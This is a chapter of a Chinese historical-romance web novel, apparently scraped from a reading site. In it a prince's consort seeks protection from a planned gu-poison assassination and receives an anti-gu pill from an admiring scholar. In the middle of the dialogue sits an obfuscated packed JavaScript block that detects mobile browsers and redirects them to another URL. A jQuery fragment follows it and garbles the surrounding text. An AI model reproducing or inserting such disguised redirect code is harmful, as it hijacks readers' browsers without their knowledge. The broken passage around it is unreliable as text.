默认冷灰
24号文字
方正启体

15. 心有疑偏遇痴情种

作者:薄荷香片本书字数:K更新时间:
    拓跋祺缨摇摇头,“涉及到你们南宋的政事,我哪敢一直在那儿听啊,回头再说我是北魏派来的探子,那我浑身是嘴也说不清了……”


    戴淮月轻抬起她的下巴,仔细端详了几眼,故作正经道:“看来不是个傻的。”


    拓跋祺缨佯嗔将其扑倒,“好你个戴淮月,说谁是傻的——”


    戴淮月愈发来劲,仿效她中毒那日的腔调,“我是一碗米酒~米酒公主的米酒要洒出来了~”


    两人在小榻上扭打成一团。


    半晌,两人停了下来,拓跋祺缨面露忧色道:“淮月,你说琰王真的准备起兵谋反吗?”


    戴淮月淡然道:“兴许吧。”


    “你不怕吗?成了那便万事大吉,你会成为南宋的皇后——可败了,不仅是你,连你全家都要跟着掉脑袋……”


    她眉眼含笑,转身平躺在小榻上,看着屋顶的房梁,眼神失焦。“不怕,我自有办法让我和我的家人脱身。”


    那日后,戴淮月便常出没在霁月殿附近。或是在周遭假意散步,或是同拓跋祺缨一起,牵着追风途经到此。


    一连观察了几日,她只见到萧子钦有单独召见过黎苹两次。遂猜测,他应是会选择用毒或是蛊来暗杀许傲。


    若要下毒,尸体必会留痕。既然不想让许傲死在府上,那便是不想让人知道是他所为,故而不大可能选择用下毒的方式,唯有蛊才能神不知鬼不觉杀人于千里之外。可她不懂蛊术,也不可能直接去问黎苹怎么杀蛊虫。


    正琢磨着,回去的路上,碰巧迎面遇上了甄牧野。


    于她,的确是碰巧,可于甄牧野,却是数次有心而为的不经意中的一次,只是戴淮月从未留心过。


    “甄牧野——”


    她福至心灵,记起人们都说甄牧野是个书痴,便想着或许他那里会有关于蛊的书也说不定。


    甄牧野心脏猛地一颤,一次次刻意的巧遇虽是有心而为,可他从来没想过会有什么结果,单纯只是想远远看上她一眼。


    他上前一步,拱手道:“王妃。”


    “听闻,你那里有不少旷世奇书,我整日闲在王府里实在太无聊了,能否借我几卷看看?”


    “经、史、子、集、志怪、话本,不知王妃喜好哪一类?”


    他面色如水,却不敢抬眸看她一眼。


    “那……术、方一类呢?”


    他微微一怔,“也有一些。”


    戴淮月莞尔一笑,“带我去你那儿瞧瞧吧,方便吗?”


    “方……方便,方便……”


    他大步走在前面,步伐快得似要甩开她一般。


    戴淮月碎步紧跟在其身后,发髻上的步摇晃得叮叮当当,又不好意思唤他走慢些,毕竟错送书信一事,她也怕甄牧野会多心。


    两人一前一后进了翰墨斋,甄牧野回头望了一眼有些气喘的戴淮月,言道:“都在这里了,术、方一类,在西北角楠木架最下一排,王妃还请自便。”


    戴淮月徐徐走过一排排满满登登的书架,指尖轻撩过系在书卷下用以标注的简牍,叮咚声好似门框上微风带起的风铃。


    甄牧野坐在桌几前备茶,眼神却禁不住停驻在戴淮月的背影上,直到滚烫的水柱浇在手背上才回过神来。


    慌乱间,满杯的黄汤,碰翻在昨夜誊抄了一半的《修身》上,墨迹钻出纸张,汹涌如雨后山洪。


    戴淮月闻声回眸,正见其手忙脚乱,狼狈不堪。


    “‘不善在身,菑(zāi)然必以自恶也’,参军喜欢荀子?”戴淮月拈起一张被泡了茶汤的宣纸,勉强还能从水痕下瞧出些字来。


    “王妃也懂荀子?”


    “谈不上懂,读过一些罢了。”戴淮月谦逊道。


    他恭敬地为戴淮月重新斟了一盏茶,迅速瞥了一眼她手中的书卷。


    “原来王妃对苗疆感兴趣。”


    “一时兴起。”


    她坐在甄牧野对面,大致翻了翻手上的《苗疆秘藏》,书中虽也记载着不少蛊,却未言明解蛊之法,遂又略显失望地放在了桌案上。


    甄牧野看在眼里,小心翼翼道:“看来,我这儿没有王妃想要的。”


    “这些书中尽是些教人如何识蛊辨蛊的,却未道该如何作解,那即便认出,又有何用。”


    “实则不然。”甄牧野笑笑,“看似相差无几的蛊虫,也会因蛊师喂予的毒物不同而解法迥异,故而无法记录。”


    “原来如此,甄参军竟还懂这些。”


    “惭愧,听黎苹说过一些。”


    “那岂不是除了下蛊之人,再无人能解了。”


    “精通蛊术者,或可一试。”


    戴淮月沉吟不语,找黎苹去问如何解蛊,无异于告诉萧子钦自己要从中作梗,更何况黎苹会下何蛊,除了萧子钦和他身边这几位亲信外,应无人得知,总不能直接了当去问。可短时间寻一位精通蛊术者,亦如大海捞针。


    片晌,她开口道:“那……参军可知,如何避免蛊虫近身?”


    甄牧野眸光微动,对于琰王被赐婚的目的,他亦是有所耳闻,此时来询问有关蛊术之事,难免令其心生猜疑。


    “王妃因何忽然关心起蛊术来?”


    “只是些许好奇罢了。”


    “我亦不知晓……”


    戴淮月望着他的眼眸蓦地黯淡下来。


    甄牧野心头一揪。“王妃当真只是好奇?”


    “当然……”她下意识端起茶盏,心虚地呷了一口。


    甄牧野紧抿双唇,思忖片刻,“王妃若真想知道,在下可以替王妃去问问黎苹。”


    戴淮月勾唇一笑,“既如此,便有劳甄参军了。”


    “举手之劳。”


    “那便不打扰参军了。”说着,戴淮月起身微微颔首,离开了翰墨斋。


    直到再看不见她的背影,甄牧野才恋恋不舍地走回桌几前,坐在戴淮月先前的位子上,缓缓端起了她用过的茶盏,指腹轻抚过杯口留下的口脂,而后又猛地抽回了手指,将杯子放回原处,起身唤下人来收了下去。


    潼川深秋时节的风,已透着股凛然,但甄牧野却感觉仿佛回到了盛夏。


    他去找黎苹的时候,她正在毒园子里拾掇草木。


    “哟,你今日不闷在房里看书啦?!”黎苹瞧见他过来,打趣道。


    甄牧野半边肩膀倚在围墙上,随口道:“今日天气好,出来走走。”


    黎苹抬眸看了看头顶灰蒙蒙的一片,嗤笑一声,“你们读书人就是不一样,管这叫好天气。”


    他话锋一转,道:“殿下这次让你准备的蛊,没问题吧。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297519|198603||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    黎苹没好气的白了他一眼,“我何时失过手。”


    “你的蛊术自然无人可比,可这次毕竟来得是京城里的大官嘛,必然会处处小心谨慎,若带了什么让蛊虫不敢近身,不就白忙一场了。”


    “避蛊丹里最重要的一味药便是金蚕蛊的蛊毒,那金蚕蛊乃百蛊之首,又岂是什么人都能得到的。”


    “我随口一说,竟还真有办法不让蛊虫近身?!”他顿了顿,“那你定然也有这金蚕蛊吧?”


    “那当然,你问这做什么?”


    “没什么,就是听着怪厉害的,想看看长什么样。”


    “嘁,少来——回回我拿蛊出来,就数你跑得最快,你还想看……”一面说着,她从身上的丹瓶中倒出来一颗避蛊丹,扔给了甄牧野。“想要避蛊丹就直说,别在那儿跟我讲一堆弯弯绕绕的。”


    “我可没这意思……”甄牧野两手接住丹药,转而揣进了怀中。


    黎苹见状,无奈地扭头扯了扯嘴角,“把它带在身上,日后便不会有蛊虫敢靠近你。”


    甄牧野咧嘴笑笑,“多谢~”


    回去后,他将避蛊丹放进一个精致的小木匣里,内心挣扎了许久,始终觉得,戴淮月的好奇未免来得太巧了些。可看着她对树洛干的态度,又不像是站在敌对的一方,更何况,这是她第一次也可能是唯一一次有求于自己。


    这般想着,他还是去见了戴淮月。


    他将木匣递到她面前,意味深长道:“希望王妃,真的只是好奇。”


    “这是……?”


    “避蛊丹,你带在身上即可。”


    戴淮月怔了怔,她原是想着,甄牧野能帮她问出个法子来便好,未曾料到他竟直接找黎苹讨来一枚避蛊丹来。


    “劳参军费心了。”她指尖才触碰到那木匣,就听甄牧野开口道:“殿下与整个赤霄军的性命,皆在王妃的一念之间。”


    戴淮月身子一顿,惊讶于他明明猜到了自己别有目的,为何还要替她寻来此物。


    “你……”还未等她问出口,甄牧野便转过身,头也不回地离去了。


    戴淮月将小木匣紧握在手中,内心动摇了些许。之前只考虑了自己回建安一事,却忽略了萧子钦手下这群将士。


    纵观青史,主帅伏诛,若手下将士就地投降,那便不会一同被按上叛军的罪名,除非负隅顽抗,宁死不从……虽说他们曾一同出生入死,但这次毕竟是犯上作乱,想来他们也未必会为了萧子钦舍命至此。


    况且她的父亲是辅政大臣,哥哥亦在朝中身居要职,若二人联合朝中诸臣上疏劝奏,必能保下他们。


    这般想着,她将木匣谨慎收好,并修书两封,只待许傲来时,将密疏与家书一并带回。


    不日,许傲的车辇便浩浩荡荡地驶入了潼川。


    鸣锣开道,结驷连骑。百姓们密密匝匝云集在道路两旁,引颈而望,皆好奇地打量着这从都城而来的车队。


    府内众人皆列于王府正门外相迎,萧子钦虽贵为皇亲,但许傲此行代表着皇帝,他亦不得不恭恭敬敬。


    车辇最终停在了琰王府的大门前。


    绛红色的帷裳自马车内轻轻撩起,一个面白无须的男子面带微笑,微翘的兰花指轻搭着侍从的手臂,以一伏地的奴仆为踏凳,缓步而下。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)